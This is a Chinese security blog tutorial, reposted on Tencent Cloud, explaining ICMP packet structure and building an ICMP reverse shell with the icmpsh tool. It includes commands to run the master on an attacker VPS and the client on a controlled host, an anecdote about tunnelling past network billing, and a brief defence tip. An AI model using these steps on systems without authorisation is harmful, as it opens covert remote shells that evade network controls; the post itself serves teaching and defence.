首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >教你学木马攻防 | 隧道木马 | ICMP反弹shell

教你学木马攻防 | 隧道木马 | ICMP反弹shell

作者头像
七夜安全博客
发布2019-03-19 17:28:53
3.7K1
发布2019-03-19 17:28:53
举报
文章被收录于专栏:七夜安全博客七夜安全博客

前言

前文回顾:

教你学木马攻防 | 隧道木马 | 第一课

在上一篇文章中,我们讲解了木马中常用的端口转发技术,这一节讲解一下木马通信协议中的ICMP协议,并通过ICMP实现一个反弹shell。

第一节

轶事

首次听说icmp隧道,要从免费上网说起。当年的网费还是挺贵的,大学生上个网还是容易“破产”呀。当你的网费耗尽后,网管服务器就会拦截你的网络请求,但是只拦截了TCP和UDP协议,放过了ICMP协议,ping ip还是可以的,于是就开始琢磨利用icmp隧道将访问转发到自己的一台放置在公网中的代理,利用代理中转访问公网,实现免费上网。

当然现在使用ICMP隧道更多地是越过一些协议的限制,做一些渗透测试。

第二节

技术原理

使用ICMP协议最常见的就是ping工具,在ping www.baidu.com的时候可以看到,ICMP协议是典型的一问一答模式,本机向百度服务器发送ICMP请求包,如果请求包成功到达目的地,百度服务器则回应ICMP响应包。

ICMP(Internet Control Message Protocol)是IPv4协议族中的一个子协议,用于IP主机、路由器之间传递控制消息。控制消息是在网络通不通、主机是否可达、路由是否可用等网络本身的消息。ICMP报文以IP协议为基础,其报文格式如下:

如上图所示,ICMP协议在实际传输中数据包:20字节IP首部 + 8字节ICMP首部+ 1472字节<数据大小>38字节。对于ICMP首部细分为8位类型+8位代码+16位校验和+16位标识符+16位序列号,其中类型的取值如下,我们比较关注的是请求(取值为8)和应答(取值为0)。

最直观的做法是使用抓包工具看一下icmp包的内容,分别看一下windows和linux平台的ping发包,会有一些不同。

在win10上,ping www.baidu.com:

我比较关注的是icmp的数据区,这块区域较大,能干很多事情。win10 ping默认发送的数据是abcdefghijklmnopqrstuvwabcdefghi,共32bytes,而且ICMP响应包数据区的内容和它是一致的,这就是ping的特点,请求什么,响应什么。

而linux则不一样。先使用tcpdump -i eth0 icmp -w icmp.pcap抓包,将抓包文件使用wireshark打开分析发现,linux ping默认发送的数据大小是56bytes,前8个字节为时间戳,而剩下的48bytes相对比较复杂,每次的内容部分不一样,其中一样的是末尾的23bytes,内容为!”#$%&’()*+,-./01234567,那中间25bytes是什么内容呢?卖个关子,下一篇再讲,哈哈。

不禁要思考icmp的数据区只能这么大吗?当然不是,可以自定义的,例如通过给ping指定 -l 参数,就可以修改icmp包的大小。

从上面知道了ping包的结构,我们如果想通过ICMP协议传输数据,操作空间主要是在数据区中,而ping工具的做法是请求什么内容,就回复什么内容,所以设计反弹shell没办法用到ping工具,需要自己开发。

第三节

ICMP反弹shell

如果之前做过渗透测试的朋友,肯定知道反弹shell,ICMP反弹shell只不过是将通信协议换成了ICMP。其基本架构内容如下:

从架构图上,可以看到是传统的C/S结构,hacker在具有公网ip的VPS上启动server,在被控机器上启动client ,client主动连接server,从而实现通信。为什么是client主动连接server呢?因为被控机器一般是在内网中,没有公网ip。

有没有相应的开源项目呢?当然是有的,https://github.com/inquisb/icmpsh/,这个实现了一个简单icmp反弹shell,它其中的client叫做slave,server叫做master,都是一回事。

master端部署在我自己的VPS上,具有公网ip,首先关闭自身的icmp应答:

$ sysctl -w net.ipv4.icmp_echo_ignore_all=1 (开启置为0)

然后就可以启动icmp应答程序.

第一个参数是VPS的公网ip,第二个参数是被控机器的公网ip。被控机器的公网ip,是不是有点迷糊,严格说这个ip应该是server端看到的ip,为什么需要这个参数呢?主要是为了填充icmp包的ip地址。为了得到这个ip可以从内网终端ping这个vps,在vps用tcpdump -i eth0 icmp获取这个ip,然后填写。

先在VPS启动命令:

python icmpsh_m.py 源ip 目的ip

接着在被控端启动命令:

icmpsh.exe -t 目的ip

这样ICMP反弹shell就建立了,可以远程执行命令了。

那怎么防御ICMP反弹shell呢?其实特征已经很明显了,建立ping数据区报文的白名单,不在白名单之内的拦截即可,当然还要视抓取的数据来定,可能有业务使用了icmp协议。

第四节

最后

推荐阅读:

Python RASP 工程化:一次入侵的思考

教你学木马攻防 | 隧道木马 | 第一课

一个Python开源项目-哈勃沙箱源码剖析(下)

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-02-24,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 七夜安全博客 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
网站渗透测试
网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档